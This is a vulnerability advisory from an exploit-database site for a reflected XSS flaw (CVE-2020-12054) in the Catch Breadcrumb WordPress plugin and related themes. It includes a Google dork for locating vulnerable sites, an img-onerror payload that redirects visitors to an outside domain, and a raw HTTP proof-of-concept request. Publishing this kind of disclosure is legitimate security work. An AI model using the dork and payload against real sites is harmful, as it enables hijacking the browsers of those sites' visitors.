Catch Breadcrumb v1.5.4 WordPress plugin - Unauthenticated Reflected XSS

2020.04.22

Ex.Mi (https://cxsecurity.com/author/Ex.Mi/1/) (RU)

Risk: **Low** | Local: **No** | Remote: **Yes**

CVE: **CVE-2020-12054 (https://cxsecurity.com/cveshow/CVE-2020-12054/)** | CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

Dork: (See Dorks List) inurl:/wp-content/plugins/catch-breadcrumb/

(https://cxsecurity.com/dorks/)

CVSS Base Score: **4.3/10**
Exploitability Subscore: **8.6/10**
Attack complexity: **Medium**
Confidentiality impact: **None**
Availability impact: **None**

Impact Subscore: **2.9/10**
Exploit range: **Remote**
Authentication: **No required**
Integrity impact: **Partial**

```
# Exploit Title: Catch Breadcrumb v1.5.4 WordPress plugin - Unauthenticated Reflected XSS
# Date: 2020-04-20
# Exploit Author: Ex.Mi [ https://ex-mi.ru/ ]
# Software Link: https://downloads.wordpress.org/plugin/catch-breadcrumb.zip
# Software Version: 1.5.4
# Vendor: Catch Plugins & Catch Themes [ https://catchplugins.com/ | https://catchthemes.com/ ]
# Google Dork: inurl:/wp-content/plugins/catch-breadcrumb/
# Tested on: Debian 10
# CVE: CVE-2020-12054
# CWE: CWE-79


=== [ DESCRIPTION - REFLECTED XSS ] ============================================
# Catch Breadcrumb before 1.5.4 plugin for WordPress allow Reflected XSS via a search query. Also affected 16 themes (if the plugin is en
abled) by the same author: Alchemist & Alchemist PRO, Izabel & Izabel PRO, Chique & Chique PRO, Clean Enterprise & Clean Enterprise PRO,
Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, Higher Educatio
n PRO.


=== [ AFFECTED CATCH THEMES ] ==================================================
# 00 - Alchemist & Alchemist PRO [ https://catchthemes.com/demo/alchemist/ ]
# 01 - Izabel & Izabel PRO [ https://catchthemes.com/demo/izabel/ ]
# 02 - Chique & Chique PRO [ https://catchthemes.com/demo/chique/ ]
# 03 - Clean Enterprise & Clean Enterprise PRO [ https://catchthemes.com/demo/clean-enterprise/ ]
# 04 - Bold Photography PRO [ https://catchthemes.com/demo/bold-photography/ ]
# 05 - Intuitive PRO [ https://catchthemes.com/demo/intuitive/ ]
# 06 - Devotepress PRO [ https://catchthemes.com/demo/devotepress/ ]
# 07 - Clean Blocks PRO [ https://catchthemes.com/demo/clean-blocks/ ]
# 08 - Foodoholic PRO [ https://catchthemes.com/demo/foodoholic/ ]
# 09 - Catch Mag PRO [ https://catchthemes.com/demo/catch-mag/ ]
# 10 - Catch Wedding PRO [ https://catchthemes.com/themes/catch-wedding-pro/ ]
# 11 - Higher Education PRO [ https://catchthemes.com/themes/higher-education-pro/ ]


=== [ STEPS TO REPRODUCE ] =====================================================
# 00 - Install & activate any of the affected themes;
# 01 - Download the Catch Breadcrumb plugin from https://downloads.wordpress.org/plugin/catch-breadcrumb.zip or install it directly from
WordPress admin dashboard;
# 02 - Activate the plugin;
# 03 - Go to the plugin settings page and click on "Save Changes" button - this will enable breadcrumbs on pages;
# 04 - Go to the website;
# 05 - Use your XSS payload in a search query, f.e.: /?s=<img src=x onerror=window.location=`https://defcon.su/`;>
```

```
=== [ PROOF-OF-CONCEPT ] ============================================================
GET /demo/?s=%3Cimg+src%3Dx+onerror%3Dwindow.location%3D%60https%3A%2F%2Fdefcon.su%2F%60%3B%3E HTTP/1.1
Host: target.com


# EOF
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020040144)

Tr

Lul

Vote for this issue: 4 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)